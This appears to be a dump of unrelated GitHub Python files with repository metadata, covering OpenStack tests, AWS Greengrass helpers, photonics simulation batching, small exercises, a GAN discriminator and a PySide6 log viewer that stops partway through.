self.os_admin.network_client.get_floatingip(\n self.fip['id'])['floatingip']\n self.assertEqual(self.port['id'], fip['port_id'])\n\n self.os_admin.network_client.update_floatingip(\n self.fip['id'],\n qos_policy_id=policy_id)\n\n fip = self.os_admin.network_client.get_floatingip(\n self.fip['id'])['floatingip']\n self.assertEqual(policy_id, fip['qos_policy_id'])\n\n self._create_file_for_bw_tests(ssh_client)\n common_utils.wait_until_true(lambda: self._check_bw(\n ssh_client,\n self.fip['floating_ip_address'],\n port=self.NC_PORT),\n timeout=120,\n sleep=1)\n","repo_name":"sonaproject/neutron-tempest-plugin","sub_path":"neutron_tempest_plugin/scenario/test_floatingip.py","file_name":"test_floatingip.py","file_ext":"py","file_size_in_byte":15213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73904752466","text":"import copy\nimport json\nimport os\nimport time\n\n\ndef format_apicall_result(title, payload, remove_keys):\n payload_after_removal = copy.deepcopy(payload)\n for key in remove_keys:\n if key in payload_after_removal:\n payload_after_removal.pop(key, None)\n return 'Output of API call \"{}\":{}'.format(\n title, json.dumps(payload_after_removal, indent=2, sort_keys=True)\n )\n\n\ndef mkdir(directory):\n try:\n os.mkdir(directory)\n except FileExistsError:\n return\n\n\ndef save_jsondump_to_file(filename, data):\n with open(filename, \"w\", encoding=\"utf-8\") as f:\n json.dump(data, f, ensure_ascii=False, indent=4)\n\n\ndef save_string_to_file(filename, data):\n with open(filename, \"w\", encoding=\"utf-8\") as f:\n f.write(data)\n f.close()\n\n\ndef read_string_from_file(filename):\n with open(filename, \"r\", encoding=\"utf-8\") as f:\n data = f.read()\n f.close()\n return data\n\n\ndef lookup(\n input_json, matching_attribute_name, matching_attribute_value, result_attribute\n):\n for item in input_json:\n if (item[matching_attribute_name]) == matching_attribute_value:\n return item[result_attribute]\n return None\n\n\n# Check for role existence.\n\n\ndef role_exists(iam, role_name):\n try:\n iam.get_role(RoleName=role_name)\n except iam.exceptions.NoSuchEntityException:\n return False\n else:\n return True\n\n\ndef role_arn_byname(iam, role_name):\n response = iam.get_role(RoleName=role_name)\n return response[\"Role\"][\"Arn\"]\n\n\ndef create_greengrass_group_role(iam, GroupRoleName, GroupRolePolicy):\n if role_exists(iam, GroupRoleName):\n return role_arn_byname(iam, GroupRoleName)\n\n # Define the assume role policy\n grouprole_assume_role_policy = {\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"Service\": [\"lambda.amazonaws.com\", \"greengrass.amazonaws.com\"]\n },\n \"Action\": \"sts:AssumeRole\",\n }\n ],\n }\n\n # Create role\n response = iam.create_role(\n RoleName=GroupRoleName,\n AssumeRolePolicyDocument=json.dumps(grouprole_assume_role_policy),\n )\n\n # Attach policy to the role\n iam.put_role_policy(\n RoleName=GroupRoleName,\n PolicyName=\"inline_policy_1\",\n PolicyDocument=json.dumps(GroupRolePolicy),\n )\n\n return response[\"Role\"][\"Arn\"]\n\n\ndef create_lambda_function(\n FunctionName, RoleName, CodeZipFilePath, FunctionAliasName, iam, log, lambda_client\n):\n # Define role for Lambda Function. This is only for demonstration and not to be used in production environment.\n\n if not role_exists(iam, RoleName):\n response = iam.create_role(\n RoleName=RoleName,\n AssumeRolePolicyDocument=json.dumps(\n {\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\"Service\": \"lambda.amazonaws.com\"},\n \"Action\": \"sts:AssumeRole\",\n }\n ],\n }\n ),\n )\n lambda_role_arn = response[\"Role\"][\"Arn\"]\n log.info(\"Role created, wait 15 seconds till the policies get effective\")\n time.sleep(15)\n\n else:\n log.info(\"Reusing existing role\")\n lambda_role_arn = role_arn_byname(iam, RoleName)\n\n log.info(\n \"Role with ARN {} will be used when creating an AWS Lambda function\".format(\n lambda_role_arn\n )\n )\n # Create a new AWS Lambda function\n\n lambda_function = lambda_client.create_function(\n FunctionName=FunctionName,\n Runtime=\"python3.7\",\n Role=lambda_role_arn,\n Handler=\"lambda.function_handler\",\n Code={\"ZipFile\": open(CodeZipFilePath, \"rb\").read()},\n Timeout=30,\n MemorySize=128,\n Description=\"Sample Lambda function\",\n Publish=True,\n )\n\n lambda_function_arn = lambda_function[\"FunctionArn\"]\n\n log.info(\"AWS Lambda function created with ARN {}\".format(lambda_function_arn))\n\n # Create aliases for AWS Lambda functions (3c)\n lambda_client.create_alias(\n FunctionName=FunctionName,\n Name=FunctionAliasName,\n FunctionVersion=\"1\",\n Description=\"Alias for Greengrass deployment\",\n )\n\n lambda_function_arn_fullqualified = lambda_function_arn + \":\" + FunctionAliasName\n\n return lambda_function_arn_fullqualified\n","repo_name":"aws-samples/aws-iot-greengrass-boto3","sub_path":"notebooks/build_and_deploy_coffee_monitoring_utilities.py","file_name":"build_and_deploy_coffee_monitoring_utilities.py","file_ext":"py","file_size_in_byte":4611,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"48"} +{"seq_id":"16977123866","text":"import argparse\nimport asyncio\nimport logging\nimport warnings\n\nfrom digs import conf\nfrom digs.common.actions import JobRequest, Job\nfrom digs.common.utils import get_random_central_server\nfrom digs.exc import ConfigurationError\nfrom digs.messaging import persistent\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\n\nclass MAFFTJob(Job):\n sequences = int\n\n\nasync def send_job_request(publisher):\n # Enter correct file ID for sequences data\n job = MAFFTJob(program_name='mafft', sequences=2)\n req = JobRequest(job=job)\n\n logger.debug(\"Sending job: %s\", req)\n\n return await publisher.publish(str(req), \"digs.messages\",\n \"action.{}\".format(req.action))\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '-c', '--conf', required=False, default=\"\",\n help=\"Provide additional configuration file, on top of the default \"\n \"ones.\"\n )\n parser.add_argument(\n '-d', '--debug', action=\"store_true\", default=False,\n help=\"Enable debug mode.\"\n )\n\n args = parser.parse_args()\n\n if args.conf:\n conf.settings.read(args.conf)\n\n loop = asyncio.get_event_loop()\n\n if args.debug:\n logging.getLogger().setLevel(logging.DEBUG)\n warnings.filterwarnings(\"always\", category=ResourceWarning)\n loop.set_debug(True)\n\n if 'client' not in conf.settings:\n raise ConfigurationError(\"The configuration file does not have a \"\n \"'client' section.\")\n client_settings = conf.settings['client']\n\n rabbitmq_settings = {\n key.replace(\"rabbitmq.\", \"\"): client_settings[key]\n for key in client_settings if key.startswith(\"rabbitmq.\")\n }\n\n rabbitmq_settings['host'] = get_random_central_server()\n\n coro = persistent.create_publisher(**rabbitmq_settings)\n publisher = loop.run_until_complete(coro)\n loop.run_until_complete(send_job_request(publisher))\n loop.run_until_complete(persistent.wait_closed())\n\n loop.close()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"lrvdijk/distributed-ngs","sub_path":"digs-client.py","file_name":"digs-client.py","file_ext":"py","file_size_in_byte":2096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6848509757","text":"import unittest\nfrom ailabb1 import *\nimport search\n\nclass labbtest (unittest.TestCase):\n# \tgraph = Graph()\n# \tdef setUp(self):\n# \t\tself.graph.loadFile()\n\n\n\tdef getTestGraph1(self):\n\t\tgraph = Graph()\n\t\tgraph.nodes.append(Node(\"1;sverige;-1;10\"))\n\t\tgraph.nodes.append(Node(\"2;usa;1;20\"))\n\t\tgraph.links.append(Link(\"1;1;2\", graph))\n\t\treturn graph\n\n\tdef testConnection(self):\n\t\tgraph = self.getTestGraph1()\n\t\tself.assertEqual(len(graph.nodes), 2)\n\t\t\n\tdef testLinks(self):\n\t\tgraph = self.getTestGraph1()\n\t\tprint(len(graph.links))\n\t\tself.assertEqual(len(graph.links), 1, \"Antalet kopplingar\")\n\t\tself.assertNotEqual(graph.links[0].Node1, None, \"Tom nod\")\n\t\tself.assertNotEqual(graph.links[0].Node2, None, \"Tom nod\")\n\t\t\n\t\t\n\tdef testLoadFromFile(self):\n\t\tgraph = Graph()\n\t\tgraph.loadFile()\n\t\t#graph.asearch(\"Norr\", \"Varberga\")\n\t\tpath, explored = search.depthFirstSearch(graph, \"Norr\", \"Varberga\")\n\t\t\n\t\tGraph.printPath(graph, path)\n\t\t\n\n\ndef main():\n\tprint(\"hej\")\n\tunittest.main()\n\nif __name__ == '__main__':\n main()\n\n\n\n","repo_name":"mls-m5/ai-labb1-search-2013","sub_path":"testlabb.py","file_name":"testlabb.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40596736037","text":"\"\"\"Compute and write Sparameters using Meep in an MPI pool.\"\"\"\n\nfrom __future__ import annotations\n\nimport multiprocessing\nimport pathlib\nimport shutil\nimport time\nfrom functools import partial\nfrom pathlib import Path\nfrom pprint import pprint\n\nimport gdsfactory as gf\nimport numpy as np\nimport pydantic\nfrom gdsfactory.component import Component\nfrom gdsfactory.config import logger, sparameters_path\nfrom gdsfactory.pdk import get_layer_stack\nfrom gdsfactory.technology import LayerStack\nfrom tqdm.auto import tqdm\n\nfrom gplugins.common.utils import port_symmetries\nfrom gplugins.common.utils.get_sparameters_path import (\n get_sparameters_path_meep as get_sparameters_path,\n)\nfrom gplugins.gmeep.write_sparameters_meep import remove_simulation_kwargs\nfrom gplugins.gmeep.write_sparameters_meep_mpi import (\n write_sparameters_meep_mpi,\n)\n\ncore_materials = multiprocessing.cpu_count()\n\ntemp_dir_default = Path(sparameters_path) / \"temp\"\n\n\n@pydantic.validate_arguments\ndef write_sparameters_meep_batch(\n jobs: list[dict],\n cores_per_run: int = 2,\n total_cores: int = 4,\n temp_dir: Path = temp_dir_default,\n delete_temp_files: bool = True,\n dirpath: Path | None = None,\n layer_stack: LayerStack | None = None,\n **kwargs,\n) -> list[Path]:\n \"\"\"Write Sparameters for a batch of jobs using MPI and returns results filepaths.\n\n Given a list of write_sparameters_meep keyword arguments `jobs` launches them in\n different cores using MPI where each simulation runs with `cores_per_run` cores.\n If there are more simulations than cores each batch runs sequentially.\n\n\n Args\n jobs: list of Dicts containing the simulation settings for each job.\n for write_sparameters_meep.\n cores_per_run: number of processors to assign to each component simulation.\n total_cores: total number of cores to use.\n temp_dir: temporary directory to hold simulation files.\n delete_temp_files: deletes temp_dir when done.\n dirpath: directory to store Sparameters.\n layer_stack: contains layer to thickness, zmin and material.\n Defaults to active pdk.layer_stack.\n\n keyword Args:\n resolution: in pixels/um (30: for coarse, 100: for fine).\n port_symmetries: Dict to specify port symmetries, to save number of simulations.\n dirpath: directory to store Sparameters.\n port_margin: margin on each side of the port.\n port_monitor_offset: offset between monitor GDS port and monitor MEEP port.\n port_source_offset: offset between source GDS port and source MEEP port.\n filepath: to store pandas Dataframe with Sparameters in CSV format..\n animate: saves a MP4 images of the simulation for inspection, and also\n outputs during computation. The name of the file is the source index.\n lazy_parallelism: toggles the flag \"meep.divide_parallel_processes\" to\n perform the simulations with different sources in parallel.\n dispersive: use dispersive models for materials (requires higher resolution).\n xmargin: left and right distance from component to PML.\n xmargin_left: west distance from component to PML.\n xmargin_right: east distance from component to PML.\n ymargin: top and bottom distance from component to PML.\n ymargin_top: north distance from component to PML.\n ymargin_bot: south distance from component to PML.\n extend_ports_length: to extend ports beyond the PML\n layer_stack: Dict of layer number (int, int) to thickness (um).\n zmargin_top: thickness for cladding above core.\n zmargin_bot: thickness for cladding below core.\n tpml: PML thickness (um).\n clad_material: material for cladding.\n is_3d: if True runs in 3D.\n wavelength_start: wavelength min (um).\n wavelength_stop: wavelength max (um).\n wavelength_points: wavelength steps.\n dfcen: delta frequency.\n port_source_name: input port name.\n port_margin: margin on each side of the port.\n distance_source_to_monitors: in (um) source goes before.\n port_source_offset: offset between source GDS port and source MEEP port.\n port_monitor_offset: offset between monitor GDS port and monitor MEEP port.\n\n Returns:\n filepath list for sparameters numpy saved files (wavelengths, o1@0,o2@0, ...).\n\n \"\"\"\n layer_stack = layer_stack or get_layer_stack()\n\n # Parse jobs\n jobs_to_run = []\n for job in jobs:\n component = job[\"component\"]\n component = gf.get_component(component)\n assert isinstance(component, Component)\n settings = remove_simulation_kwargs(kwargs)\n filepath = job.get(\n \"filepath\",\n get_sparameters_path(\n component=component,\n dirpath=dirpath,\n layer_stack=layer_stack,\n **settings,\n ),\n )\n if filepath.exists():\n job.update(**kwargs)\n if job.get(\"overwrite\", kwargs.get(\"overwrite\", False)):\n pathlib.Path.unlink(filepath)\n logger.info(\n f\"Simulation {filepath!r} found and overwrite is True. \"\n \"Deleting file and adding it to the queue.\"\n )\n jobs_to_run.append(job)\n else:\n logger.info(\n f\"Simulation {filepath!r} found exists and \"\n \"overwrite is False. Removing it from the queue.\"\n )\n else:\n logger.info(f\"Simulation {filepath!r} not found. Adding it to the queue\")\n jobs_to_run.append(job)\n\n jobs = jobs_to_run\n\n batches = int(np.ceil(cores_per_run * len(jobs) / total_cores))\n jobs_per_batch = int(np.floor(total_cores / cores_per_run))\n njobs = len(jobs)\n logger.info(f\"Running {njobs} simulations\")\n logger.info(f\"total_cores = {total_cores} with cores_per_run = {cores_per_run}\")\n logger.info(f\"Running {batches} batches with up to {jobs_per_batch} jobs each.\")\n\n i = 0\n # For each batch in the pool\n for j in tqdm(range(batches)):\n filepaths = []\n\n # For each job in the batch\n for k in range(jobs_per_batch):\n if i >= njobs:\n continue\n logger.info(f\"Task {k} of batch {j} is job {i}\")\n\n # Obtain current job\n simulations_settings = jobs[i]\n\n pprint(simulations_settings)\n\n filepath = write_sparameters_meep_mpi(\n cores=cores_per_run,\n temp_dir=temp_dir,\n temp_file_str=f\"write_sparameters_meep_mpi_{i}\",\n wait_to_finish=False,\n **simulations_settings,\n )\n filepaths.append(filepath)\n\n # Increment task number\n i += 1\n\n # Wait for batch to end\n done = False\n num_pool_jobs = len(filepaths)\n while not done:\n # Check if all jobs finished\n jobs_done = sum(1 for filepath in filepaths if filepath.exists())\n if jobs_done == num_pool_jobs:\n done = True\n else:\n time.sleep(1)\n\n temp_dir = pathlib.Path(temp_dir)\n if temp_dir.exists() and delete_temp_files:\n shutil.rmtree(temp_dir)\n return filepaths\n\n\nwrite_sparameters_meep_batch_1x1 = partial(\n write_sparameters_meep_batch, port_symmetries=port_symmetries.port_symmetries_1x1\n)\n\nwrite_sparameters_meep_batch_1x1_bend90 = partial(\n write_sparameters_meep_batch,\n port_symmetries=port_symmetries.port_symmetries_1x1,\n ymargin=0,\n ymargin_bot=3,\n xmargin_right=3,\n)\n\n\nif __name__ == \"__main__\":\n jobs = [\n {\n \"component\": gf.components.straight(length=i),\n \"run\": True,\n \"overwrite\": True,\n \"lazy_parallelism\": False,\n \"ymargin\": 3,\n }\n for i in range(1, 4)\n ]\n\n filepaths = write_sparameters_meep_batch(\n jobs=jobs,\n cores_per_run=4,\n total_cores=8,\n )\n","repo_name":"gdsfactory/gplugins","sub_path":"gplugins/gmeep/write_sparameters_meep_batch.py","file_name":"write_sparameters_meep_batch.py","file_ext":"py","file_size_in_byte":8095,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"48"} +{"seq_id":"9598397232","text":"from plugin import Plugin\n\nimport re\nimport urllib2\nfrom urlparse import urlparse\nfrom twisted.internet import reactor, threads\nfrom BeautifulSoup import BeautifulSoup\n\nclass Title(Plugin):\n\n def __init__(self, factory):\n Plugin.__init__(self, factory)\n self.channel_message_rule = \"(?i).*(http://[^\\s]*).*\"\n\n def on_channel_message(self, vtkbot, nick, nickmask, hostmask, channel, message, match):\n url = match.group(1)\n d = threads.deferToThread(self.get_url_title, url)\n d.addCallback(self.show_result, vtkbot, channel)\n# print self.get_url_title(url) #(useful for debugging errors)\n\n def get_url_title(self, url):\n data = self.get_url_data(url)\n if data != None:\n return self.get_data_title(data)\n return None\n\n def get_url_data(self, url):\n try:\n opener = urllib2.build_opener()\n opener.addheaders = [('User-agent', 'Mozilla/5.0')]\n conn = opener.open(url)\n data = conn.read(10000)\n info = conn.info()\n try:\n ignore, charset = info['Content-Type'].split('charset=')\n data = data.decode(charset)\n except:\n data = data.decode('utf-8', 'ignore')\n return data\n except Exception:\n return None\n\n def get_data_title(self, data):\n soup = BeautifulSoup(data)\n title = soup.find('title')\n if title != None:\n title_contents = title.string\n if title_contents != None:\n return title_contents.replace('\\r', '').replace('\\n', '').replace('\\t', '') #Don't add newlines and tabs to the IRC conversation\n return None\n\n def show_result(self, result, vtkbot, channel):\n if result != None and result != '':\n vtkbot.send_channel_message(channel, \"Title: %s\" % result)\n","repo_name":"Mathiasdm/VTKBot","sub_path":"plugins/title.py","file_name":"title.py","file_ext":"py","file_size_in_byte":1884,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"33924995280","text":"\nfrom django.shortcuts import render,get_object_or_404\nfrom .models import Board, Topic\nfrom .forms import NewTopicForm\n\n# Create your views here.\ndef index(request):\n context={\n 'boards':Board.objects.all()\n }\n return render(request,'index.html',context)\n\n\ndef board_topics(request,pk):\n board=get_object_or_404(Board,pk=pk)\n topics=Topic.objects.filter(board=board)\n context={\n 'board':board,\n 'topics':topics\n }\n return render(request,'topics.html',context)\n\n\n\ndef new_topic(request,pk):\n board=get_object_or_404(Board,pk=pk)\n topics=Topic.objects.filter(board=board)\n context={\n 'board':board,\n 'form':NewTopicForm,\n 'topics':topics\n }\n \n \n\n return render(request,'new_topic.html',context)","repo_name":"jujucoder/web-board","sub_path":"web_board/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72030386066","text":"# !D:/Code/python\n# -*- coding:utf-8 -*-\n# @Author : Clint\n# @Question : 二维数组中的查找\n\n# 暴力法\n'''\nclass Solution:\n def findNumberIn2DArray(nums, target):\n if len(nums) ==0 or len(nums[0]) == 0:\n return False\n n = len(nums)\n m = len(nums[0])\n for i in range(n):\n for j in range(m):\n if nums[i][j] == target:\n return True\n return False\n'''\n\n\n# 二叉树法\nclass Solution:\n def findNumberIn2DArray(nums, target):\n if len(nums) == 0 or len(nums[0]) == 0:\n return False\n n = len(nums)\n m = len(nums[0])\n\n row = 0\n column = m - 1\n while row < n and column >= 0:\n if nums[row][column] == target:\n return True\n elif nums[row][column] > target:\n column -= 1\n else:\n row += 1\n\n return False\n\n\nprint(Solution.findNumberIn2DArray([[1, 4, 7, 11, 15],\n [2, 5, 8, 12, 19],\n [3, 6, 9, 16, 22],\n [10, 13, 14, 17, 24],\n [18, 21, 23, 26, 30]\n ], 5))\n","repo_name":"Clint-cc/Leecode","sub_path":"剑指offer/Easy/4-二维数组查找.py","file_name":"4-二维数组查找.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28122237567","text":"# coding=utf-8\n\"\"\"\nGiven a sorted array and a target value, return the index if the target is found. If not, return the index where it would be if it were inserted in order.\nYou may assume no duplicates in the array.\nHere are few examples.\n[1,3,5,6], 5 → 2\n[1,3,5,6], 2 → 1\n[1,3,5,6], 7 → 4\n[1,3,5,6], 0 → 0\n\"\"\"\nclass Solution(object):\n def searchInsert(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: int\n \"\"\"\n left = 0\n right = len(nums) - 1\n index = -1\n while left <= right:\n mid = (left + right) / 2\n if nums[mid] == target:\n index = mid\n break\n elif nums[left] > target:\n index = left\n break\n elif nums[right] < target:\n index = right + 1\n break\n elif nums[mid] < target and nums[right] >= target:\n if mid != right:\n left = mid + 1\n index = left\n else:\n index = right\n break\n elif nums[mid] > target and nums[left] <= target:\n if mid != left:\n right = mid - 1\n index = right\n else:\n index = left\n break\n return index\n\nif __name__ == \"__main__\":\n solution = Solution()\n print(solution.searchInsert([1,3,5,6], 5))\n print(solution.searchInsert([1,3,5,6], 2))\n print(solution.searchInsert([1,3,5,6], 7))\n print(solution.searchInsert([1,3,5,6], 0))","repo_name":"leodengyx/LeoLeetCode","sub_path":"01_Array/SearchInsertPosition.py","file_name":"SearchInsertPosition.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33909425703","text":"file = open(\"./log.out\", \"r\")\nf_nodes = open(\"nodedata.csv\", \"w\")\nf_links = open(\"treedata.csv\", \"w\")\n\n\n# input must adhere to the following style:\n#\n# time_1,ptr_parent_1,ptr_child_1\n# time_1,ptr_parent_1,ptr_child_2\n# ...\n# time_t,ptr_parent_p,ptr_child_n\n#\n# see input.log for example\n\n\ntime_last = -1\nf_line_number = 0\n\n# write csv column headers\nf_nodes.write(\"node,type,data\\n\")\nf_links.write(\"name,parent\\n\")\n\n# first layer are all time slices\nepoch = {}\nparents = {}\nchildren = {}\nroot = {}\n\nnew_epoch = True\n\n# read logfile\nfor line in file:\n\n f_line_number = f_line_number + 1\n\n words = line.rstrip().split(\",\")\n\n if not time_last == words[0]:\n new_epoch = True\n \n if len(words) != 3:\n raise Exception(\"Malformed input!\\n ...on line \"+str(f_line_number)+\": \"+line)\n\n time_last = words[0]\n ptr_parent = words[1]\n ptr_child = words[2]\n\n # time slice !exist yet\n if not time_last in epoch.keys():\n # put line into time slice with line ptr_parent & ptr_child\n epoch[time_last] = {ptr_parent: [ptr_child]}\n\n # create new time in parents and children too\n parents[time_last] = [ptr_parent]\n children[time_last] = [ptr_child]\n\n root[time_last] = ptr_parent\n continue\n\n parents[time_last].append(ptr_parent)\n children[time_last].append(ptr_child)\n\n # time slice exists, but parent doesn't\n if not ptr_parent in epoch[time_last]:\n epoch[time_last][ptr_parent] = [ptr_child]\n continue\n\n # time slice exists and parent exists\n epoch[time_last][ptr_parent].append(ptr_child)\n\n\n\n# end of file reading\n\n# now print stuff\nfor time in epoch.keys():\n\n # write epoch separator into file\n f_links.write(\"--,\" + time + \"\\n\")\n f_nodes.write(\"--,--,\"+ time + \"\\n\")\n\n f_links.write(root[time] + \",null\\n\")\n\n # writes links to null for leaf nodes\n #for child in children[time]:\n \n # if not child in parents[time]:\n \n # f_links.write(\"null,\"+child+\"\\n\")\n \n\n \n for parent in epoch[time].keys():\n\n for child in epoch[time][parent]:\n \n #write to links\n f_links.write(child+\",\"+parent+\"\\n\")\n \n #write to nodes\n f_nodes.write(parent+\",ptr,\"+child+\"\\n\")\n\n \n \n \n# end of printing to file\n\n\n \nfile.close()\nf_links.close()\nf_nodes.close()\n","repo_name":"qishuyi/DS-Visualizer","sub_path":"convert_pairs_dfs.py","file_name":"convert_pairs_dfs.py","file_ext":"py","file_size_in_byte":2248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29043344675","text":"import torch\nimport torch.nn as nn\n\nclass Discriminator(nn.Module):\n def __init__(self, n_channels=3):\n super().__init__()\n\n self.n_channels = n_channels\n\n self.net = nn.Sequential(\n nn.Conv2d(n_channels, 32, kernel_size=4, stride=2, padding=1),\n nn.BatchNorm2d(32),\n nn.LeakyReLU(0.2),\n\n nn.Conv2d(32, 64, kernel_size=4, stride=2, padding=1),\n nn.BatchNorm2d(64),\n nn.LeakyReLU(0.2),\n\n nn.Conv2d(64, 128, kernel_size=4, stride=2, padding=1),\n nn.BatchNorm2d(128),\n nn.LeakyReLU(0.2),\n\n nn.Conv2d(128, 256, kernel_size=4, stride=2, padding=1),\n nn.BatchNorm2d(256),\n nn.LeakyReLU(0.2),\n\n nn.Flatten(),\n nn.AdaptiveAvgPool1d(512),\n nn.Linear(512, 1)\n )\n\n def forward(self, x):\n return self.net(x)\n\n @staticmethod\n def load(filename):\n '''\n Loads model weights and configuration\n '''\n state_dict = torch.load(filename)\n model = Discriminator(**state_dict['args'])\n model.load_state_dict(state_dict['state_dict'])\n return model\n\n def save(self, filename):\n '''\n Saves model weights and configuration\n '''\n state_dict = {\n 'args': {\n 'n_channels': self.n_channels\n },\n 'state_dict': self.state_dict()\n }\n torch.save(state_dict, filename)\n\n @property\n def n_params(self):\n return sum(p.numel() for p in self.parameters() if p.requires_grad)\n","repo_name":"oriyonay/GAN","sub_path":"discriminator.py","file_name":"discriminator.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10910054679","text":"try:\r\n input = int(input(\"enter number without expressions: \"))\r\n loopvar = input\r\n factorial_list = []\r\n final = 1\r\n\r\n for item in list(range(loopvar +1)):\r\n factorial_list.append(item)\r\n del factorial_list[0]\r\n factorial_list.reverse()\r\n\r\n for item in factorial_list:\r\n final *= item\r\n print(f'factorial : {final}')\r\n\r\nexcept ValueError:\r\n print(\"invalid input\\nmake sure you are typing number without expressions or alphabets\")\r\nexcept MemoryError:\r\n print(\"the heck bro? such a large number you entered!\\nplease enter a smaller number\")\r\n\r\n","repo_name":"Pisswasser/Factorial.py","sub_path":"Factorial.py","file_name":"Factorial.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20035395539","text":"import unittest\nimport utils.tokenizer as tokenizer\nimport utils.reader as reader\n\nfrom mock import patch, mock_open\n\nclass TestRawTextReader(unittest.TestCase):\n def setUp(self, string=\"a b C d Ef G\"):\n self._string = string\n self._reader = reader.RawTextReader()\n\n def test_read(self):\n m = mock_open()\n with patch('utils.reader.open', mock_open(read_data=self._string), create=True):\n data = self._reader.read_data('fake_test.txt')\n self.assertEqual(self._string, data)\n #m.assert_called_once_with('fake_test.txt')\n \nclass TestTokenizer(unittest.TestCase):\n def setUp(self, string=\"a b C d Ef G\"):\n self._expected_tokens = [\"a\", \"b\", \"c\", \"d\", \"ef\", \"g\"]\n self._expected_counts = {\"a\": 1, \"b\": 1, \"c\": 1, \"d\": 1, \"ef\": 1, \"g\": 1}\n self._string = string\n self._tokenizer = tokenizer.SimpleTokenizer()\n\n def test_tokenizer(self):\n ret = self._tokenizer.tokenize(self._string)\n self.assertEqual(self._expected_tokens, ret)\n\n def test_index(self):\n tokens = self._tokenizer.tokenize(self._string)\n dic, rev_dic = self._tokenizer.frequency_count(tokens, 10000)\n ret = self._tokenizer.index(tokens, dic)\n expected_indices = [dic[w] for w in tokens]\n self.assertEqual(expected_indices, ret)\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"ziyin-dl/word-embedding-dimensionality-selection","sub_path":"test/test_tokenizer.py","file_name":"test_tokenizer.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","stars":331,"dataset":"github-code","pt":"48"} +{"seq_id":"15370018332","text":"from PySide6.QtWidgets import QWidget, QLabel, QHBoxLayout, QVBoxLayout, QGridLayout, QDialog, QDialogButtonBox,\\\n QPushButton, QLineEdit, QFileDialog, QCheckBox, QTextEdit\nfrom PySide6.QtCore import Qt, QSize, Signal, QFile, QUrl\nfrom PySide6.QtGui import QIcon, QMouseEvent, QDesktopServices\nimport os\n\nfrom utils.software_config import SoftwareConfigResources\n\n\nclass LogsViewerDialog(QDialog):\n\n def __init__(self, parent=None):\n super().__init__(parent)\n self.setWindowTitle(\"Runtime logs\")\n self.__set_interface()\n self.__set_layout_dimensions()\n self.__set_connections()\n self.__set_stylesheets()\n self.__refresh_logs()\n\n def exec_(self) -> int:\n return super().exec_()\n\n def __set_interface(self):\n self.layout = QVBoxLayout(self)\n self.layout.setSpacing(5)\n self.layout.setContentsMargins(0, 0, 0, 5)\n\n self.__set_upper_interface()\n self.central_layout = QHBoxLayout()\n self.logs_textedit = QTextEdit()\n self.logs_textedit.setReadOnly(True)\n self.central_layout.addWidget(self.logs_textedit)\n self.layout.addLayout(self.central_layout)\n\n # Native exit buttons\n self.bottom_exit_layout = QHBoxLayout()\n self.exit_accept_pushbutton = QDialogButtonBox(QDialogButtonBox.Ok)\n self.bottom_exit_layout.addStretch(1)\n self.bottom_exit_layout.addWidget(self.exit_accept_pushbutton)\n self.layout.addLayout(self.bottom_exit_layout)\n\n def __set_upper_interface(self):\n self.upper_layout = QHBoxLayout()\n self.upper_layout.setSpacing(5)\n self.upper_layout.setContentsMargins(5, 5, 5, 0)\n self.log_filename_label = QLabel(\"Location\")\n self.log_filename_lineedit = QLineEdit()\n self.log_filename_lineedit.setReadOnly(True)\n self.report_error_pushbutton = QPushButton(\"Report issue\")\n self.report_error_pushbutton.setIcon(QIcon(os.path.join(os.path.dirname(os.path.realpath(__file__)),\n '../../Images/github-icon.png')))\n self.upper_layout.addWidget(self.log_filename_label)\n self.upper_layout.addWidget(self.log_filename_lineedit)\n self.upper_layout.addStretch(1)\n self.upper_layout.addWidget(self.report_error_pushbutton)\n self.layout.addLayout(self.upper_layout)\n\n def __set_layout_dimensions(self):\n self.setMinimumSize(800, 600)\n self.log_filename_label.setFixedHeight(20)\n self.log_filename_lineedit.setFixedHeight(20)\n self.log_filename_lineedit.setMinimumWidth(320)\n self.report_error_pushbutton.setFixedHeight(20)\n\n def __set_connections(self):\n self.exit_accept_pushbutton.clicked.connect(self.__on_exit_accept_clicked)\n self.report_error_pushbutton.clicked.connect(self.__on_report_error_clicked)\n\n def __set_stylesheets(self):\n software_ss = SoftwareConfigResources.getInstance().stylesheet_components\n font_color = software_ss[\"Color7\"]\n background_color = software_ss[\"Color2\"]\n pressed_background_color = software_ss[\"Color6\"]\n\n self.setStyleSheet(\"\"\"\n QDialog{\n background-color: \"\"\" + background_color + \"\"\";\n }\n \"\"\")\n\n self.log_filename_label.setStyleSheet(\"\"\"\n QLabel{\n color: \"\"\" + font_color + 